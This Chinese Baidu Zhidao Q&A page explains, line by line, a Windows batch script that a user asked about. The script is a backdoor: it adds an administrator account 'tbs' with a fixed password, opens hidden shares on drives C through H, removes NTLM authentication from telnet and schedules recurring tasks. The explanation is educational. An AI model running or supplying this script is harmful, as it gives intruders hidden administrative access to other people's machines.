懂批处理的帮我解释一下

来源:百度知道 编辑:UC知道 时间:2024/06/18 12:04:15
下面这个批处理,请帮我翻译翻译一下
@echo off
@attrib +s + r tbs.bat
@net user tbs 123456 /add
@net localgroup administrators tbs /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm

@net stop schedule
@net start Schedule
@echo at 11:00 c:/WINNT/SYSTEM32/log.bat > c:/WINNT/SYSTEM32/xyt.bat
@echo at 23:00 c:/WINNT/SYSTEM32/log.bat >> c:/WINNT/SYSTEM32/xyt.bat
@at 11:05 c:/WINNT/SYSTEM32/xyt.bat
@at 23:05 c:/WINNT/SYSTEM32/xyt.bat
@net stop telnet
@net start telnet
@exit

@echo off 关闭回显,所以后续行的@不再需要
@attrib +s + r tbs.bat 更改文件属性为系统、只读
@net user tbs 123456 /add 添加一个用户tbs
@net localgroup administrators tbs /add 将用户tbs添加到管理员组
@net share c$=c: 添加指向C盘的隐藏共享,下同
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm 配置tlntsvr服务,去掉ntlm认证

@net stop schedule 停止计划任务服务
@net start Schedule 启动计划任务服务
@echo at 11:00 c:/WINNT/SYSTEM32/log.bat > c:/WINNT/SYSTEM32/xyt.bat 为log.bat假如命令“添加一个计划任务于11时执行”,下行为23时执行
@echo at 23:00 c:/WINNT/SYSTEM32/log.bat >> c:/WINNT/SYSTEM32/xyt.bat
@at 11:05 c:/WINNT/SYSTEM32/xyt.bat 添加一个计划任务于11:05执行,下同
@at 23:05 c:/WINNT/SYSTEM32/xyt.bat
@net stop telnet 停止tlntsvr
@net start telnet 启动tlntsvrr
@exit 退出

另:这个批处理编的很不完善。